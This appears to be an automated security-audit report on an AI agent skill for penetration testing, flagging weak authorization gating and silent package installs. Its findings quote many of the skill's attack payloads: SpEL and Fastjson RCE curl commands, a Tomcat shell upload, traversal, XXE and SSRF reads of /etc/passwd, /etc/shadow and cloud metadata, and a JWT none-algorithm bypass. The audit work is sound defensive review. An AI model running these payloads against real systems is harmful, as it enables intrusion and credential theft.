Security audit

pentest-auto

Security checks across malware telemetry and agentic risk

Overview

This is a disclosed penetration-testing automation skill, but it gives an agent broad active-exploitation instructions with too little authorization gating or user control.

Install only for tightly authorized security work. Before use, require written scope confirmation, remove or gate destructive and credential-access PoCs, review every command before execution, avoid production targets unless explicitly approved, and control where reports are written because they may contain sensitive findings and evidence.

SkillSpector

By NVIDIA

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands

Findings (25)

Context-Inappropriate Capability

Medium

Confidence: 92% confidence
Finding: The script performs package installation with `apt-get install -y pandoc` during a simple document conversion workflow. This expands the script's privileges and side effects beyond its stated purpose, and if run with elevated privileges it can modify the system unexpectedly or pull packages from configured repositories without explicit operator approval.

Intent-Code Divergence

Low

Confidence: 82% confidence
Finding: The surrounding comment suggests this block only checks for `pandoc`, but the code also installs software. This mismatch can mislead reviewers and operators about the script's real behavior, reducing informed consent and increasing the chance that privileged system changes occur unnoticed.

Missing User Warnings

Medium

Confidence: 84% confidence
Finding: The skill hardcodes saving penetration-test reports to fixed local paths, including a user-accessible directory, without warning that reports may contain sensitive target details, credentials, endpoints, and vulnerability evidence. This increases the risk of unintended data retention, disclosure to other local users/processes, and mishandling of regulated or confidential assessment data.

Missing User Warnings

High

Confidence: 98% confidence
Finding: This checklist provides numerous active verification steps for exploitation, including RCE, file read, request smuggling, and account takeover probes, but does not include any authorization, safety, or service-impact warnings. In the context of an automation-focused pentest skill, that omission materially increases the chance of unsafe or unauthorized use against live systems.

Missing User Warnings

Medium

Confidence: 96% confidence
Finding: The document contains extensive offensive payloads and execution examples for SQLi, SSRF, command injection, XXE, weak credential testing, and tooling such as sqlmap/nuclei/wpscan, but it does not prominently require authorization, scope control, safety limits, or disruption warnings. In a skill explicitly designed for automated penetration testing, this omission increases the risk that users will run potentially harmful actions against unauthorized or production targets.

Missing User Warnings

Medium

Confidence: 90% confidence
Finding: The script installs software non-interactively using `apt-get install -y pandoc` after only printing a generic status message. In a pentesting automation context, users may run helper scripts quickly or under sudo, so silent package installation can cause unauthorized system modification and increase supply-chain or environment integrity risks.

External Transmission

Medium

Category: Data Exfiltration
Content: | CVE-2024-23672 | Tomcat 9.0.0-9.0.85 | 高危 | WebSocket DoS | 检查WebSocket端点 | | CVE-2023-46589 | Tomcat 8.5.0-8.5.96 | 高危 | HTTP请求走私 | 发送构造的TE/CL请求 | | CVE-2020-1938 | Tomcat 9.0.0-9.0.31 | 严重 | Ghostcat — AJP文件读取/RCE | `nmap --script ajp-request -p 8009 <target>` | | CVE-2017-12615 | Tomcat 9.0.0.M1-9.0.0.M22 | 高危 | PUT方法任意文件写入 | `curl -X PUT -d 'shell' http://<target>/shell.jsp/` | ### WebLogic | CVE | 版本范围 | 风险等级 | 漏洞描述 | 验证方法 |
Confidence: 96% confidence
Finding: curl -X PUT -d

External Transmission

Medium

Category: Data Exfiltration
Content: | CVE-2024-22257 | Spring Security 6.2.0-6.2.3 | 高危 | 授权规则绕过 | 测试多角色场景 | | CVE-2024-22243 | Spring Framework 6.0.0-6.1.4 | 高危 | URL解析绕过 | 发送特殊URL | | CVE-2022-22965 | Spring Framework 5.3.0-5.3.17 | 严重 | Spring4Shell — RCE | 检查Tomcat + Spring版本组合 | | CVE-2022-22950 | Spring Framework 5.3.0-5.3.16 | 中危 | SpEL表达式注入 | `curl -X POST -d "class.module.classLoader.Resources.DirContext.docBase=1" http://<target>/` | | CVE-2022-22947 | Spring Cloud Gateway 3.1.0-3.1.0 | 严重 | Actuator API SpEL注入 | `curl -X POST -H "Content-Type: application/json" -d '{"predicate":"T(java.lang.Runtime).getRuntime().exec(\"id\")"}' http://<target>/actuator/gateway/routes/test` | | CVE-2022-22963 | Spring Cloud Function 3.1.6-3.2.2 | 严重 | SpEL注入RCE | `curl -H "spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec('id')" http://<target>/functionRouter` |
Confidence: 94% confidence
Finding: curl -X POST -d

External Transmission

Medium

Category: Data Exfiltration
Content: | CVE-2024-22243 | Spring Framework 6.0.0-6.1.4 | 高危 | URL解析绕过 | 发送特殊URL | | CVE-2022-22965 | Spring Framework 5.3.0-5.3.17 | 严重 | Spring4Shell — RCE | 检查Tomcat + Spring版本组合 | | CVE-2022-22950 | Spring Framework 5.3.0-5.3.16 | 中危 | SpEL表达式注入 | `curl -X POST -d "class.module.classLoader.Resources.DirContext.docBase=1" http://<target>/` | | CVE-2022-22947 | Spring Cloud Gateway 3.1.0-3.1.0 | 严重 | Actuator API SpEL注入 | `curl -X POST -H "Content-Type: application/json" -d '{"predicate":"T(java.lang.Runtime).getRuntime().exec(\"id\")"}' http://<target>/actuator/gateway/routes/test` | | CVE-2022-22963 | Spring Cloud Function 3.1.6-3.2.2 | 严重 | SpEL注入RCE | `curl -H "spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec('id')" http://<target>/functionRouter` | ### Django
Confidence: 98% confidence
Finding: curl -X POST -H "Content-Type: application/json" -d

External Transmission

Medium

Category: Data Exfiltration
Content: | CVE | 版本范围 | 风险等级 | 漏洞描述 | 验证方法 | |-----|---------|---------|---------|---------| | CVE-2024-52354 | Laravel 11.0.0-11.36.0 | 高危 | 参数注入导致SQL注入 | 检查where子句参数 | | CVE-2021-3129 | Laravel < 8.4.2 | 严重 | ignition反序列化RCE | `curl -X POST -H "Content-Type: application/json" -d '{"_token":"test","method":"post","filter":"phpinfo"}' http://<target>/Ignition/executeSolution` | | CVE-2018-15133 | Laravel < 5.5.40, 5.6.x<5.6.29 | 高危 | APP_KEY泄露导致反序列化RCE | 检查APP_KEY是否泄露 | ### Node.js / Express
Confidence: 95% confidence
Finding: curl -X POST -H "Content-Type: application/json" -d

External Transmission

Medium

Category: Data Exfiltration
Content: |-----|---------|---------|---------|---------| | CVE-2024-45409 | GitLab < 17.4.3 | 高危 | DoS（Markdown解析） | 检查Markdown渲染 | | CVE-2024-6611 | GitLab < 16.8.6 | 高危 | 越权访问 | 测试API权限 | | CVE-2023-7028 | GitLab 16.1-16.7.6 | 严重 | 任意用户密码重置 | `curl -X POST -d "reset_token=&user_password=test123" http://<target>/users/password` | | CVE-2021-22205 | GitLab 11.9-13.10.3 | 严重 | ExifTool RCE | 上传特殊构造的图片文件 | ---
Confidence: 95% confidence
Finding: curl -X POST -d

External Transmission

Medium

Category: Data Exfiltration
Content: ### Fastjson | CVE | 版本范围 | 风险等级 | 漏洞描述 | 验证方法 | |-----|---------|---------|---------|---------| | CVE-2022-25845 | Fastjson < 1.2.83 | 严重 | autoType反序列化RCE | `curl -X POST -H "Content-Type: application/json" -d '{"@type":"java.lang.AutoCloseable","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<dnslog>/a","autoCommit":true}' http://<target>/api` | | 1.2.80+绕过 | Fastjson 1.2.80-1.2.83 | 高危 | Exception绕过autoType | 检查版本，测试异常类 | ### Shiro
Confidence: 99% confidence
Finding: curl -X POST -H "Content-Type: application/json" -d

External Transmission

Medium

Category: Data Exfiltration
Content: # 命令注入 curl -sk "https://<target>/api/ping?host=127.0.0.1;id" curl -sk "https://<target>/api/ping?host=127.0.0.1|id" curl -sk "https://<target>/api/ping?host=\$(whoami)" # SSTI检测 curl -sk "https://<target>/api/render?name={{7*7}}"
Confidence: 90% confidence
Finding: curl -sk "https://<target>/api/ping?host=\$(whoami)" # SSTI检测 curl -sk "https://<target>/api/render?name={{7*7}}" curl -sk "https://<target>/api/render?name=\${7*7}" # XXE检测 curl -sk -X POST -H "Con

External Transmission

Medium

Category: Data Exfiltration
Content: # JWT none算法绕过 header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr -d '=') payload=$(echo -n '{"sub":"admin","role":"admin","exp":9999999999}' | base64 -w0 | tr -d '=') curl -sk -H "Authorization: Bearer $header.$payload." "https://<target>/api/admin" # 开放重定向 curl -sk -o /dev/null -w "%{http_code} %{redirect_url}" "https://<target>/auth/callback?redirect=https://evil.com"
Confidence: 92% confidence
Finding: curl -sk -H "Authorization: Bearer $header.$payload." "https://<target>/api/admin" # 开放重定向 curl -sk -o /dev/null -w "%{http_code} %{redirect_url}" "https://<target>/auth/callback?redirect=https://evi

Credential Access

High

Category: Privilege Escalation
Content: - 垂直越权：普通用户Token访问 /admin/* 接口 - 水平越权：修改资源ID（/api/users/1 → /api/users/2） - IDOR：RESTful API资源ID枚举 - 目录遍历：`../../../etc/passwd`、`..%2f`编码变体 - JWT篡改：none算法绕过、payload role字段修改 - 权限绕过：URL大小写/斜杠变体（/Admin, /admin/, /admin/.） - 强制浏览：绕过前端路由访问后端API
Confidence: 89% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: - 命令注入：`; id`、`| id`、`$(whoami)`、`` `id` `` - SSTI模板注入：`{{7*7}}`、`${7*7}`、`<%= 7*7 %>` - XSS：反射型(`<script>alert(1)</script>`)、存储型、DOM型、过滤绕过(`<svg/onload=alert(1)>`) - XXE：`<!ENTITY xxe SYSTEM "file:///etc/passwd">` - CRLF注入：`%0d%0aSet-Cookie:evil=1` - NoSQL注入：`{"$gt":""}`、`{"$ne":null}` - LDAP注入：`*)(uid=*`
Confidence: 92% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: - 基础SSRF：URL参数指定 `http://127.0.0.1` - 内网探测：`http://127.0.0.1:端口` - 云元数据：AWS(`169.254.169.254/latest/meta-data/`)、阿里云(`100.100.100.200`)、GCP(`metadata.google.internal`) - 协议利用：`file:///etc/passwd`、`gopher://`、`dict://` - 盲SSRF：DNSLOG回显确认 - Webhook SSRF、PDF生成SSRF、文件导入SSRF
Confidence: 94% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: | CVE-2024-39884 | Apache 2.4.0-2.4.61 | 高危 | 源代码泄露（AddType配置） | 请求 `.php.bak` 等后缀 | | CVE-2024-40725 | Apache 2.4.0-2.4.61 | 高危 | 源代码泄露（404处理） | 请求不存在的文件观察响应 | | CVE-2023-25690 | Apache 2.4.0-2.4.55 | 高危 | HTTP请求走私 | 发送特殊构造的CL/TE请求 | | CVE-2021-41773 | Apache 2.4.49 | 高危 | 目录遍历 | `curl http://<target>/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd` | | CVE-2021-42013 | Apache 2.4.49-2.4.50 | 高危 | RCE（CVE-2021-41773补丁绕过） | `curl http://<target>/cgi-bin/.%%32%65/.%%32%65/etc/passwd` | ### Apache Tomcat
Confidence: 97% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: | CVE-2024-40725 | Apache 2.4.0-2.4.61 | 高危 | 源代码泄露（404处理） | 请求不存在的文件观察响应 | | CVE-2023-25690 | Apache 2.4.0-2.4.55 | 高危 | HTTP请求走私 | 发送特殊构造的CL/TE请求 | | CVE-2021-41773 | Apache 2.4.49 | 高危 | 目录遍历 | `curl http://<target>/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd` | | CVE-2021-42013 | Apache 2.4.49-2.4.50 | 高危 | RCE（CVE-2021-41773补丁绕过） | `curl http://<target>/cgi-bin/.%%32%65/.%%32%65/etc/passwd` | ### Apache Tomcat | CVE | 版本范围 | 风险等级 | 漏洞描述 | 验证方法 |
Confidence: 98% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: - [ ] **垂直越权**：普通用户尝试访问管理员接口（/admin, /manage, /console） - [ ] **水平越权**：修改用户ID/订单ID/资源ID访问他人数据（UID=1 → UID=2） - [ ] **未授权API访问**：无Token直接调用API端点 - [ ] **目录遍历**：`../../../etc/passwd`、`..%2f..%2f`、`....//....//` 编码绕过 - [ ] **强制浏览**：绕过前端路由直接访问后端API（如 /api/internal/*） - [ ] **JWT篡改**：修改JWT payload中的role字段，none算法绕过 - [ ] **Session固定**：登录前后SessionID不变
Confidence: 88% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: - [ ] 存储型：留言/评论中注入Payload - [ ] DOM型：`#<img src=x onerror=alert(1)>` - [ ] 绕过过滤：`<svg/onload=alert(1)>` / `javascript:alert(1)` / `<iframe src=javascript:alert(1)>` - [ ] **XXE**：`<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>` - [ ] **CRLF注入**：`%0d%0aSet-Cookie:evil=1` / `%0d%0aLocation:%20https://evil.com` - [ ] **HTTP响应拆分**：通过CRLF注入控制响应头 - [ ] **邮件头注入**：`\nBcc: attacker@evil.com`
Confidence: 87% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: curl -sk "https://<target>/api/render?name=\${7*7}" # XXE检测 curl -sk -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' https://<target>/api/xml # XSS检测 curl -sk "https://<target>/search?q=<script>alert(1)</script>"
Confidence: 90% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: - [ ] **阿里云元数据**：`http://100.100.100.200/latest/meta-data/` - [ ] **华为云元数据**：`http://169.254.169.254/` - [ ] **移动云元数据**：`http://169.254.169.254/` - [ ] **协议利用**：`file:///etc/passwd`、`gopher://`、`dict://` - [ ] **DNS Rebinding**：通过DNS重绑定绕过IP白名单 - [ ] **盲SSRF**：通过DNSLOG/HTTPLOG回显确认 - [ ] **图片代理SSRF**：图片URL参数可控
Confidence: 86% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: curl -sk "https://<target>/api/fetch?url=http://100.100.100.200/latest/meta-data/" # 阿里云 # file协议 curl -sk "https://<target>/api/fetch?url=file:///etc/passwd" curl -sk "https://<target>/api/fetch?url=file:///etc/shadow" # 内网网段探测（仅探测常见内网IP，不做大范围扫描）
Confidence: 93% confidence
Finding: /etc/passwd

Credential Access

High

Category: Privilege Escalation
Content: # file协议 curl -sk "https://<target>/api/fetch?url=file:///etc/passwd" curl -sk "https://<target>/api/fetch?url=file:///etc/shadow" # 内网网段探测（仅探测常见内网IP，不做大范围扫描） curl -sk "https://<target>/api/fetch?url=http://10.0.0.1/"
Confidence: 95% confidence
Finding: /etc/shadow

VirusTotal

VirusTotal findings are pending for this skill version.

View on VirusTotal

Static analysis

Detected: suspicious.exposed_resource_identifier

Plaintext HTTP endpoint targets a CGNAT/Tailscale-range address.

Critical

Code: suspicious.exposed_resource_identifier
Location: references/owasp-top10-checklist.md:365